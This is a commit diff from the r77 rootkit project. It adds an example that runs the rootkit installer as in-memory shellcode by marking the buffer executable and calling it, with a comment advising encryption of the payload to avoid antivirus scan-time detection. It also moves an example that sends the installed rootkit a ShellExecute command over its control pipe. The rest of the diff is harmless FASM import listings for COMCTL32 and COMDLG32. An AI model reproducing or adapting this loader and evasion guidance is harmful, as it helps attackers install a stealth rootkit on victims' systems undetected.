Shellcode Installer

Docs/ControlPipeExample.cpp → Examples/ControlPipe.cpp

@@ -1,12 +1,12 @@
 #include <Windows.h>
 
+// This example demonstrates how to make r77 perform a ShellExecute.
+// All other control codes work similarly.
+
 #define CONTROL_USER_SHELLEXEC 0x3001 // These constants can be found in r77api.h or in the technical documentation
 
 int main()
 {
-	// This example demonstrates how to make r77 perform a ShellExecute.
-	// All other control codes work similarly.
-
 	// Connect to the r77 service. The rootkit must be installed.
 	HANDLE pipe = CreateFileW(L"\\\\.\\pipe\\$77control", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
 	if (pipe != INVALID_HANDLE_VALUE)

Examples/InstallShellCode.cpp

@@ -0,0 +1,23 @@
+#include <Windows.h>
+
+// Example on how to use Install.shellcode
+
+// Install.shellcode wraps up Install.exe in a way that it can be loaded and executed as shellcode
+
+int main()
+{
+	// 1. Load Install.shellcode from resources or from a BYTE[]
+	// Ideally, encrypt the file and decrypt it here to avoid scantime detection
+	LPBYTE shellCode = ...
+
+	// 2. Make the shellcode RWX
+	DWORD oldProtect;
+	VirtualProtect(shellCode, shellCodeSize, PAGE_EXECUTE_READWRITE, &oldProtect);
+
+	// 3. Cast the buffer to a function pointer and execute it
+	((void(*)())shellCode)();
+
+	// This is the fileless equivalent to executing Install.exe
+
+	return 0;
+}

SlnBin/FASM/INCLUDE/API/COMCTL32.INC

@@ -0,0 +1,81 @@
+
+; COMCTL32 API calls
+
+import comctl32,\
+       CreateMappedBitmap,'CreateMappedBitmap',\
+       CreatePropertySheetPageA,'CreatePropertySheetPageA',\
+       CreatePropertySheetPageW,'CreatePropertySheetPageW',\
+       CreateStatusWindowA,'CreateStatusWindowA',\
+       CreateStatusWindowW,'CreateStatusWindowW',\
+       CreateToolbar,'CreateToolbar',\
+       CreateToolbarEx,'CreateToolbarEx',\
+       CreateUpDownControl,'CreateUpDownControl',\
+       DestroyPropertySheetPage,'DestroyPropertySheetPage',\
+       DrawInsert,'DrawInsert',\
+       DrawStatusTextA,'DrawStatusTextA',\
+       DrawStatusTextW,'DrawStatusTextW',\
+       FlatSB_EnableScrollBar,'FlatSB_EnableScrollBar',\
+       FlatSB_GetScrollInfo,'FlatSB_GetScrollInfo',\
+       FlatSB_GetScrollPos,'FlatSB_GetScrollPos',\
+       FlatSB_GetScrollProp,'FlatSB_GetScrollProp',\
+       FlatSB_GetScrollRange,'FlatSB_GetScrollRange',\
+       FlatSB_SetScrollInfo,'FlatSB_SetScrollInfo',\
+       FlatSB_SetScrollPos,'FlatSB_SetScrollPos',\
+       FlatSB_SetScrollProp,'FlatSB_SetScrollProp',\
+       FlatSB_SetScrollRange,'FlatSB_SetScrollRange',\
+       FlatSB_ShowScrollBar,'FlatSB_ShowScrollBar',\
+       GetEffectiveClientRect,'GetEffectiveClientRect',\
+       ImageList_Add,'ImageList_Add',\
+       ImageList_AddIcon,'ImageList_AddIcon',\
+       ImageList_AddMasked,'ImageList_AddMasked',\
+       ImageList_BeginDrag,'ImageList_BeginDrag',\
+       ImageList_Copy,'ImageList_Copy',\
+       ImageList_Create,'ImageList_Create',\
+       ImageList_Destroy,'ImageList_Destroy',\
+       ImageList_DragEnter,'ImageList_DragEnter',\
+       ImageList_DragLeave,'ImageList_DragLeave',\
+       ImageList_DragMove,'ImageList_DragMove',\
+       ImageList_DragShowNolock,'ImageList_DragShowNolock',\
+       ImageList_Draw,'ImageList_Draw',\
+       ImageList_DrawEx,'ImageList_DrawEx',\
+       ImageList_DrawIndirect,'ImageList_DrawIndirect',\
+       ImageList_Duplicate,'ImageList_Duplicate',\
+       ImageList_EndDrag,'ImageList_EndDrag',\
+       ImageList_GetBkColor,'ImageList_GetBkColor',\
+       ImageList_GetDragImage,'ImageList_GetDragImage',\
+       ImageList_GetIcon,'ImageList_GetIcon',\
+       ImageList_GetIconSize,'ImageList_GetIconSize',\
+       ImageList_GetImageCount,'ImageList_GetImageCount',\
+       ImageList_GetImageInfo,'ImageList_GetImageInfo',\
+       ImageList_GetImageRect,'ImageList_GetImageRect',\
+       ImageList_LoadImageA,'ImageList_LoadImageA',\
+       ImageList_LoadImageW,'ImageList_LoadImageW',\
+       ImageList_Merge,'ImageList_Merge',\
+       ImageList_Read,'ImageList_Read',\
+       ImageList_Remove,'ImageList_Remove',\
+       ImageList_Replace,'ImageList_Replace',\
+       ImageList_ReplaceIcon,'ImageList_ReplaceIcon',\
+       ImageList_SetBkColor,'ImageList_SetBkColor',\
+       ImageList_SetDragCursorImage,'ImageList_SetDragCursorImage',\
+       ImageList_SetFilter,'ImageList_SetFilter',\
+       ImageList_SetIconSize,'ImageList_SetIconSize',\
+       ImageList_SetImageCount,'ImageList_SetImageCount',\
+       ImageList_SetOverlayImage,'ImageList_SetOverlayImage',\
+       ImageList_Write,'ImageList_Write',\
+       InitCommonControls,'InitCommonControls',\
+       InitCommonControlsEx,'InitCommonControlsEx',\
+       InitializeFlatSB,'InitializeFlatSB',\
+       LBItemFromPt,'LBItemFromPt',\
+       MakeDragList,'MakeDragList',\
+       MenuHelp,'MenuHelp',\
+       PropertySheetA,'PropertySheetA',\
+       PropertySheetW,'PropertySheetW',\
+       ShowHideMenuCtl,'ShowHideMenuCtl',\
+       UninitializeFlatSB,'UninitializeFlatSB',\
+       _TrackMouseEvent,'_TrackMouseEvent'
+
+api CreatePropertySheetPage,\
+    CreateStatusWindow,\
+    DrawStatusText,\
+    ImageList_LoadImage,\
+    PropertySheet

SlnBin/FASM/INCLUDE/API/COMDLG32.INC

@@ -0,0 +1,38 @@
+
+; COMDLG32 API calls
+
+import comdlg32,\
+       ChooseColorA,'ChooseColorA',\
+       ChooseColorW,'ChooseColorW',\
+       ChooseFontA,'ChooseFontA',\
+       ChooseFontW,'ChooseFontW',\
+       CommDlgExtendedError,'CommDlgExtendedError',\
+       FindTextA,'FindTextA',\
+       FindTextW,'FindTextW',\
+       FormatCharDlgProc,'FormatCharDlgProc',\
+       GetFileTitleA,'GetFileTitleA',\
+       GetFileTitleW,'GetFileTitleW',\
+       GetOpenFileNameA,'GetOpenFileNameA',\
+       GetOpenFileNameW,'GetOpenFileNameW',\
+       GetSaveFileNameA,'GetSaveFileNameA',\
+       GetSaveFileNameW,'GetSaveFileNameW',\
+       LoadAlterBitmap,'LoadAlterBitmap',\
+       PageSetupDlgA,'PageSetupDlgA',\
+       PageSetupDlgW,'PageSetupDlgW',\
+       PrintDlgA,'PrintDlgA',\
+       PrintDlgW,'PrintDlgW',\
+       ReplaceTextA,'ReplaceTextA',\
+       ReplaceTextW,'ReplaceTextW',\
+       WantArrows,'WantArrows',\
+       dwLBSubclass,'dwLBSubclass',\
+       dwOKSubclass,'dwOKSubclass'
+
+api ChooseColor,\
+    ChooseFont,\
+    FindText,\
+    GetFileTitle,\
+    GetOpenFileName,\
+    GetSaveFileName,\
+    PageSetupDlg,\
+    PrintDlg,\
+    ReplaceText